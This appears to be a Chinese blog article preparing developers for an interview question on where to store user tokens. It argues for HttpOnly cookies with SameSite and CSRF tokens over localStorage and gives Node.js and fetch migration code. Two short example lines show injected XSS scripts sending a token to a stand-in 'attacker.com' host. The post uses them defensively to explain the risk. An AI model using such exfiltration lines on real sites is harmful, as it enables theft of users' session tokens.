面试官最爱挖的坑：用户 Token 到底该存哪？

面试官问："用户 token 应该存在哪？"

很多人脱口而出：localStorage。

这个回答不能说错，但远称不上好答案。

一个好答案，至少要说清三件事：

• 
  
• 有哪些常见存储方式，它们的优缺点是什么
  
• 为什么大部分团队会从 localStorage 迁移到 HttpOnly Cookie
  
• 实际项目里怎么落地、怎么权衡「安全 vs 成本」
  

这篇文章就从这三点展开，顺便帮你把这道高频面试题吃透。

三种存储方式，一张图看懂差异

前端存 token，主流就三种：

flowchart LR

    subgraph 存储方式

        A[localStorage]

        B[普通 Cookie]

        C[HttpOnly Cookie]

    end


    subgraph 安全特性

        D[XSS 可读取]

        E[CSRF 会发送]

    end


    A -->|是| D

    A -->|否| E

    B -->|是| D

    B -->|是| E

    C -->|否| D

    C -->|是| E


    style A fill:#f8d7da,stroke:#dc3545

    style B fill:#f8d7da,stroke:#dc3545

    style C fill:#d4edda,stroke:#28a745

localStorage：用得最多，但也最容易出事

大部分项目一开始都是这样写的，把 token 往 localStorage 一扔就完事了：

// 登录成功后
localStorage.setItem('token', response.accessToken);

// 请求时取出来
const token = localStorage.getItem('token');
fetch('/api/user', {
headers: { Authorization: `Bearer ${token}` }

});

用起来确实方便，但有个致命问题：XSS 攻击可以直接读取。

localStorage 对 JavaScript 完全开放。只要页面有一个 XSS 漏洞，攻击者就能一行代码偷走 token：

// 攻击者注入的脚本
fetch('https://attacker.com/steal?token=' + localStorage.getItem('token'))

你可能会想："我的代码没有 XSS 漏洞。"

现实是：XSS 漏洞太容易出现了——一个 innerHTML 没处理好，一个第三方脚本被污染，一个 URL 参数直接渲染……项目一大、接口一多，总有疏漏的时候。

普通 Cookie：XSS 能读，CSRF 还会自动带

有人会往 Cookie 上靠拢："那我存 Cookie 里，是不是就更安全了？"

如果只是「普通 Cookie」，实际上比 localStorage 还糟糕：

// 设置普通 Cookie
document.cookie = `token=${response.accessToken}; path=/`;

// 攻击者同样能读到
const token = document.cookie.split('token=')[1];
fetch('https://attacker.com/steal?token=' + token);

XSS 能读，CSRF 还会自动带上——两头不讨好。

HttpOnly Cookie：让 XSS 偷不走 Token

真正值得推荐的，是 HttpOnly Cookie。

它的核心优势只有一句话：JavaScript 读不到。

// 后端设置（Node.js 示例）

res.cookie('access_token', token, {
httpOnly: true,    // JS 访问不到
secure: true,      // 只在 HTTPS 发送
sameSite: 'lax',   // 防 CSRF
maxAge: 3600000    // 1 小时过期

});

设置了 httpOnly: true，前端 document.cookie 压根看不到这个 Cookie。XSS 攻击偷不走。

// 前端发请求，浏览器自动带上 Cookie
fetch('/api/user', {
credentials: 'include'

});

// 攻击者的 XSS 脚本
document.cookie  // 看不到 httpOnly 的 Cookie，偷不走

HttpOnly Cookie 的代价：需要正面面对 CSRF

HttpOnly Cookie 解决了「XSS 偷 token」的问题，但引入了另一个必须正视的问题：CSRF。

因为 Cookie 会自动发送，攻击者可以诱导用户访问恶意页面，悄悄发起伪造请求：

sequenceDiagram

    participant 用户

    participant 银行网站

    participant 恶意网站


    用户->>银行网站: 1. 登录，获得 HttpOnly Cookie

    用户->>恶意网站: 2. 访问恶意网站

    恶意网站->>用户: 3. 页面包含隐藏表单

    用户->>银行网站: 4. 浏览器自动发送请求（带 Cookie）

    银行网站->>银行网站: 5. Cookie 有效，执行转账

    Note over 用户: 用户完全不知情

好消息是：CSRF 比 XSS 容易防得多。

SameSite 属性

最简单的一步，就是在设置 Cookie 时加上 sameSite：

res.cookie('access_token', token, {
httpOnly: true,
secure: true,
sameSite: 'lax'  // 关键配置

});

sameSite 有三个值：

• 
  
• strict：跨站请求完全不带 Cookie。最安全，但从外链点进来需要重新登录
  
• lax：GET 导航可以带，POST 不带。大部分场景够用，Chrome 默认值
  
• none：都带，但必须配合 secure: true
  

lax 能防住绝大部分 CSRF 攻击。如果业务场景更敏感（比如金融），可以再加 CSRF Token。

CSRF Token（更严格）

如果希望更严谨，可以在 sameSite 基础上，再加一层 CSRF Token 验证：

// 后端生成 Token，放到页面或接口返回
const csrfToken = crypto.randomUUID();

res.cookie('csrf_token', csrfToken);  // 这个不用 httpOnly，前端需要读

// 前端请求时带上
fetch('/api/transfer', {
method: 'POST',
headers: {
'X-CSRF-Token': document.cookie.match(/csrf_token=([^;]+)/)?.[1]

  },
credentials: 'include'

});

// 后端验证
if (req.cookies.csrf_token !== req.headers['x-csrf-token']) {
return res.status(403).send('CSRF token mismatch');

}

攻击者能让浏览器自动带上 Cookie，但没法读取 Cookie 内容来构造请求头。

核心对比：为什么宁愿多做 CSRF，也要堵死 XSS

这是全篇最重要的一点，也是推荐 HttpOnly Cookie 的根本原因。

XSS 的攻击面太广：

• 
  
• 用户输入渲染（评论、搜索、URL 参数）
  
• 第三方脚本（广告、统计、CDN）
  
• 富文本编辑器
  
• Markdown 渲染
  
• JSON 数据直接插入 HTML
  

代码量大了，总有地方会疏漏。一个 innerHTML 忘了转义，第三方库有漏洞，攻击者就能注入脚本。

CSRF 防护相对简单、手段统一：

• 
  
• sameSite: lax 一行配置搞定大部分场景
  
• 需要更严格就加 CSRF Token
  
• 攻击面有限，主要是表单提交和链接跳转
  

两害相权取其轻——先把 XSS 能偷 token 这条路堵死，再去专心做好 CSRF 防护。

真落地要改什么：从 localStorage 迁移到 HttpOnly Cookie

从 localStorage 迁移到 HttpOnly Cookie，需要前后端一起动手，但改造范围其实不大。

后端改动

登录接口，从「返回 JSON 里的 token」改成「Set-Cookie」：

// 改造前

app.post('/api/login', (req, res) => {
const token = generateToken(user);

  res.json({ accessToken: token });

});

// 改造后

app.post('/api/login', (req, res) => {
const token = generateToken(user);

  res.cookie('access_token', token, {
httpOnly: true,
secure: true,
sameSite: 'lax',
maxAge: 3600000

  });

  res.json({ success: true });

});

前端改动

前端请求时不再手动带 token，而是改成 credentials: 'include'：

// 改造前
fetch('/api/user', {
headers: { Authorization: `Bearer ${localStorage.getItem('token')}` }

});

// 改造后
fetch('/api/user', {
credentials: 'include'

});

如果用 axios，可以全局配置：

axios.defaults.withCredentials = true;

登出处理

登出时，后端清除 Cookie：

app.post('/api/logout', (req, res) => {

  res.clearCookie('access_token');

  res.json({ success: true });

});

如果暂时做不到 HttpOnly Cookie，可以怎么降风险

有些项目历史包袱比较重，或者后端暂时不愿意改。短期内只能继续用 localStorage 的话，至少要做好这些补救措施：

面试怎么答

回到开头的问题，面试怎么答？

简洁版（30 秒）：

推荐 HttpOnly Cookie。因为 XSS 比 CSRF 难防——代码里一个 innerHTML 没处理好就可能有 XSS，而 CSRF 只要加个 SameSite: Lax 就能防住大部分。用 HttpOnly Cookie，XSS 偷不走 token，只需要处理 CSRF 就行。

完整版（1-2 分钟）：

Token 存储有三种常见方式：localStorage、普通 Cookie、HttpOnly Cookie。

localStorage 最大的问题是 XSS 能读取。JavaScript 对 localStorage 完全开放，攻击者注入一行脚本就能偷走 token。

普通 Cookie 更糟，XSS 能读，CSRF 还会自动发送。

推荐 HttpOnly Cookie，设置 httpOnly: true 后 JavaScript 读不到。虽然 Cookie 会自动发送导致 CSRF 风险，但 CSRF 比 XSS 容易防——加个 sameSite: lax 就能解决大部分场景。

所以权衡下来，HttpOnly Cookie 配合 SameSite 是更安全的方案。

当然，没有绝对安全的方案。即使用了 HttpOnly Cookie，XSS 攻击虽然偷不走 token，但还是可以利用当前会话发请求。最好的做法是纵深防御——HttpOnly Cookie + SameSite + CSP + 输入验证，多层防护叠加。

加分项（如果面试官追问）：

• 
  
• 改造成本：需要前后端配合，登录接口改成 Set-Cookie 返回，前端请求加 credentials: include
  
• 如果用 localStorage：Token 过期时间要短，敏感操作二次验证，严格防 XSS
  
• 移动端场景：App 内置 WebView 用 HttpOnly Cookie 可能有兼容问题，需要具体评估
  

如果你觉得这篇文章有帮助，欢迎关注我的 GitHub，下面是我的一些开源项目：

Claude Code Skills（按需加载，意图自动识别，不浪费 token，介绍文章）：

• 
  
• code-review-skill - 代码审查技能，覆盖 React 19、Vue 3、TypeScript、Rust 等约 9000 行规则（详细介绍）
  
• 5-whys-skill - 5 Whys 根因分析，说"找根因"自动激活
  
• first-principles-skill - 第一性原理思考，适合架构设计和技术选型
  

全栈项目（适合学习现代技术栈）：

• 
  
• prompt-vault - Prompt 管理器，用的都是最新的技术栈，适合用来学习了解最新的前端全栈开发范式：Next.js 15 + React 19 + tRPC 11 + Supabase 全栈示例，clone 下来配个免费 Supabase 就能跑
  
• chat_edit - 双模式 AI 应用（聊天+富文本编辑），Vue 3.5 + TypeScript + Vite 5 + Quill 2.0 + IndexedDB